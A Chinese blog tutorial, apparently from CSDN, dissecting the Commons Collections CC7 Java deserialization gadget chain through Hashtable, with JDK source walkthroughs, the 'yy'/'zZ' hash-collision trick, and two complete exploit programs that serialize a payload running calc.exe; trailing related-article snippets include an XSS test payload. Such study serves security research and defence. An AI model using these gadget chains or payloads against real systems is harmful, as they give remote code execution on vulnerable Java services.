【Web】Java反序列化之CC7链——Hashtable
目录
链子原理分析(借尸还魂)
如何构造相等hash
又谈为何lazyMap2.remove("yy")
不过真的需要两个LazyMap吗
EXP
双LazyMap exp
HashMap&LazyMap exp
链子原理分析(借尸还魂)
先看Hashtable#readObject
origlength和elements分别是原始数组的长度和元素的数量,最后的key与value就是我们自己构造时用put放进去的,接着调用了reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException("Illegal Load: " + loadFactor);// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Validate # of elementsif (elements < 0)throw new StreamCorruptedException("Illegal # of Elements: " + elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);// Compute new length with a bit of room 5% + 3 to grow but// no larger than the clamped original length. Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)((elements + elements / 20) / loadFactor) + 3;if (length > elements && (length & 1) == 0)length--;length = Math.min(length, origlength);if (length < 0) { // overflowlength = origlength;}// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}
再看Hashtable#reconstitutionPut,这段代码的作用就是往哈希表中添加一个新的键值对,在保证键的唯一性的前提下进行操作,并处理可能的异常情况
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}
这里我们因为开了上帝之眼,已经知道要去调用e.key.equals(key)了,但问题是,当第一次调用Hashtable#reconstitutionPut时,由于这个Hashtable是空的,我们不会进for循环,而是直接向其中存一个KV对,这样也就不能去调e.key.equals(key),显然不能令我们满意。
如何解决这个问题呢?其实很朴素,我们先往Hashtable里存一个KV对,这样第二次存的时候就会进到for循环,从而调用e.key.equals(key)了。
我们调用两次reconstitutionPut,也就是说put两个元素进Hashtable对象,这样elements(元素数量)的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;
ok 进入for循环的事情我们已经解决了,但是想去e.key.equals(key)还得要满足e.hash == hash(&&短路机制你懂的),这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行,这个点我们下面单独来讲。
跟进到LazyMap所extend的AbstractMapDecorator#equals,调用了LazyMap的map的equals方法
public boolean equals(Object object) {return object == this ? true : this.map.equals(object);}
跟进HashMap所extend的AbstractMap#equals方法
public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}
调用了m.get(),而m是根据传入的对象获取的,也就是说如果key传入的也是LazyMap类对象,那么这里就是调用的LazyMap#get,从而为所欲为。 (get后续步骤真不用解释吧)
说一点个人的感想:这里其实颇有借尸还魂的味道在里面,我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法,从而完成transformer链的攻击。
如何构造相等hash
解铃还须系铃人,先来看看hash是怎么来的
int hash = key.hashCode();
跟进hashCode方法(这里先从key是String类型的对象开始讲,我知道你很急,但你先别急)
public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}
要注意的是第一步是将变量 h
初始化为实例变量 hash
的值。这个 hash
可能是之前计算得到的哈希码,如果没有则为默认值 0
剩下的其实还是挺好理解的,下面举个例子:
字符串 "hello" 对应的字符数组为 ['h', 'e', 'l', 'l', 'o']。
初始时,h = 0;然后进入条件判断块,开始遍历字符数组:
第一轮循环:h = 31 * 0 + 'h' 的ASCII码值 = 104;
第二轮循环:h = 31 * 104 + 'e' 的ASCII码值 = 3144 + 101 = 3245;
第三轮循环:h = 31 * 3245 + 'l' 的ASCII码值 = 100495 + 108 = 100603;
第四轮循环:h = 31 * 100603 + 'l' 的ASCII码值 = 3118783 + 108 = 3118891;
第五轮循环:h = 31 * 3118891 + 'o' 的ASCII码值 = 96713221 + 111 = 96713332。最终得到的哈希码为 96713332。这个数值作为字符串 "hello" 的哈希码
ok我们的目的是要构造出相同的hash值,我们以'yy'和'zZ'为例,y比z小1,经过第一轮循环后h的差值就差1,在第二轮循环会扩大为31*1,所以我们可以控制第二个字符是y与Z,前面比后面大31刚好抵消了这个差距
众所周知exp里是把LazyMap放Hashtable中的,我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)
public int hashCode() {return this.map.hashCode();}
会调用LazyMap的map的hashCode方法,也就是HashMap的hashCode方法,key与value的分别计算并异或,值我们可以设置的相同,问题是如何让key的hashcode也一致
public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}
跟进Objects的hashCode方法,发现最后调用了传入key的hashCode方法,如果传入的key为String类型,就可以调用String的hashCode方法,也就和上文呼应上了,成功构造相等hash。
public static int hashCode(Object o) {return o != null ? o.hashCode() : 0;}
又谈为何lazyMap2.remove("yy")
先贴出CC6中类似的操作:【Web】Java反序列化之CC6--HashMap版-CSDN博客
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。导致第二个LazyMap的HashMap中会有两个元素。
Hashtable#put
public synchronized V put(K key, V value) {// Make sure the value is not nullif (value == null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;@SuppressWarnings("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) {if ((entry.hash == hash) && entry.key.equals(key)) {V old = entry.value;entry.value = value;return old;}}addEntry(hash, key, value, index);return null;}
这段其实上面那篇文章里也有写
if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}
而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同,否则直接return false,所以我们需要先remove一个。
Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;
不过真的需要两个LazyMap吗
虽然yso里是用了两个LazyMap,但其实根本没有必要
关于CC7的分析与思考
我们上面借尸还魂的部分也提到过,第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法,那为啥不直接把第一个LazyMap换成HashMap呢,更简洁高雅且本质
EXP
双LazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove("yy");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
HashMap&LazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map map1 = new HashMap();Map map2 = new HashMap();map1.put("yy", 1);map2.put("zZ", 1);Map lazyMap1 = LazyMap.decorate(map1, transformerChain);Hashtable hashtable = new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove("zZ");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
相关文章:
【Web】Java反序列化之CC7链——Hashtable
目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…...
NumPy数据处理详解的笔记2
NumPy数据处理详解的笔记2 第1章NumPy基础 NumPy是用于处理多维数组的数值运算库,不仅可用于 机器学习,还可以用于图像处理,语言处理等任务。 1.2 多维数据结构ndarray的基础 在学习NumPy的过程中,只要理解了ndarray的相关知识…...

xsslabs第四关
测试 "onclick"alert(1) 这与第三关的代码是一样的,但是每一关考的点是不一样的所以我们看一下源代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv"content-type" content"text/html;ch…...

Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写
系列文章目录 提示:这里是该系列文章的所有文章的目录 第一章:Qt下使用ModbusTcp通信协议进行PLC线圈/保持寄存器的读写(32位有符号数) 第二章:Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写 文章目录 系列文章目录…...

C++ 滑动窗口
例1 209. 长度最小的子数组 ①窗口大小不固定 ②求最小长度 -> ret INT_MAX ③数组内的值都大于0, 符合单调性(sum nums[right] -> sum增大) while里面符合条件,在里面更改ret 参考代码 class Solution { public:i…...
【深度学习】TensorFlow基础介绍
TensorFlow 模型 张量、变量共同点:具有形状、类型、值等3个属性。 不同点:变量可被TensorFlow的自动求导机制求导,常被用于机器学习模型的参数。 tfrecord tensorflow定义的数据格式,一种二进制文件格式,用于保存…...

springcloud:3.3测试重试机制
服务提供者【test-provider8001】 Openfeign远程调用服务提供者搭建 文章地址http://t.csdnimg.cn/06iz8 相关接口 测试远程调用:http://localhost:8001/payment/index 服务消费者【test-consumer-resilience4j8004】 Openfeign远程调用消费者搭建 文章地址http:/…...

【笔记】【电子科大 离散数学】 3.谓词逻辑
谓词引入 因为含变量的语句(例如x > 3)不是命题,无法进行逻辑推理。 为了研究简单命题句子内部的逻辑关系,我们需要对简单命题进行分解,利用个体词,谓词和量词来描述它们,并研究个体与总体…...

倍增算法C++
倍增 倍增算法是一种优化算法,通常用于某些需要高效计算指数幂的场景。它基于分治的思想,通过反复求平方来实现快速计算指数幂的目的。在实际应用中,倍增算法经常用于解决最近公共祖先问题、二分查找等。 1、快速幂详解 ksm核心代码 倍增就是…...

uniapp制作--进步器的选择
介绍: 进步器的选择,一般用于商城购物选择物品数量的场景 注意:该输入框只能输入大于或等于0的整数 效果展示: 代码展示: 以下是一个简单的购物车页面示例,包括选择商品和显示数量的功能: 在这个示例中…...
前端高频面试--查缺补漏篇
什么是进程和线程,有什么区别 进程:进程是程序的一次执行过程,是动态的过程,有自身产生、存在、消亡的过程。 线程:线程由进程创建,是进程的一个实体。一个进程可以拥有多个线程。 举个例子:…...
【计算机学习】-- 网页视频加速
系列文章目录 文章目录 系列文章目录前言一、开发者选项二、定义和用法1.基础语法:2.什么是uncaught TypeError:Cannot read properties of null? 二、开发者工具面板:1.Elements面板:2.Console面板: 总结 前言 一、开发者选项 …...
系统运维-Linux配置C、C++、Go语言编译环境
C yum install gcc -y #安装gcc编译器 gcc --version #验证环境gcc (GCC) 11.3.1 20221121 (Red Hat 11.3.1-4) Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even f…...

【设计模式】(二)设计模式六大设计原则
一、 设计原则概述 设计模式中主要有六大设计原则,简称为SOLID ,是由于各个原则的首字母简称合并的来(两个L算一个,solid 稳定的),六大设计原则分别如下: 1、单一职责原则(Single Responsibitity Principle&#…...
go-zero官网
go-zero 是一个集成了各种工程实践的 web 和 rpc 框架。通过弹性设计保障了大并发服务端的稳定性,经受了充分的实战检验。 go-zero官网:go-zero 缩短从需求到上线的距离...
Redis的应用场景以及常见问题(持续更新)
一、使用场景 1,在大型的秒杀库存扣减,app首页流量高峰,很容易将传统的关系型数据库(mysql,oracle等)给压垮 2,还有很多没必要持久化的数据,比如说短信验证码,点赞数等 3,…...
前端添加压缩包内文件名称校验
1. tar包内文件名称校验 1. 读取tar包内所有的文件名称 export class TarReader {fileInfo: any[]buffer: string | ArrayBufferconstructor() {this.fileInfo []}readFile(file) {return new Promise(resolve > {const reader new FileReader()reader.onload event &g…...

redis02 安装
官网下载 传送门https://redis.io/download/#redis-downloads 安装Redis mac m1安装 下载你需要版本的软件包放到指定的目录下进行解压 cd 到解压好的redis目录 运行下面的命令进行编译测试 sudo make test 中途可能会提示你安装make工具,按提示安装即可&…...
#QT(QT时钟)
1.IDE:QTCreator 2.实验 3.记录 qtime(qt的时间类) qtimer(qt的定时类) 4.代码 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> // #include <QTimer&g…...
T-RAG:结合实体检测的增强检索生成模型
内容摘要: T-RAG是一种新的大型语言模型(LLM)应用框架,在保证数据隐私的同时,提高了对私有企业文档的问答系统性能。T-RAG通过结合已有的增强检索生成(RAG)框架、自定义的开源语言模型以及一个实…...

华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...

七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

Chromium 136 编译指南 Windows篇:depot_tools 配置与源码获取(二)
引言 工欲善其事,必先利其器。在完成了 Visual Studio 2022 和 Windows SDK 的安装后,我们即将接触到 Chromium 开发生态中最核心的工具——depot_tools。这个由 Google 精心打造的工具集,就像是连接开发者与 Chromium 庞大代码库的智能桥梁…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...
怎么开发一个网络协议模块(C语言框架)之(六) ——通用对象池总结(核心)
+---------------------------+ | operEntryTbl[] | ← 操作对象池 (对象数组) +---------------------------+ | 0 | 1 | 2 | ... | N-1 | +---------------------------+↓ 初始化时全部加入 +------------------------+ +-------------------------+ | …...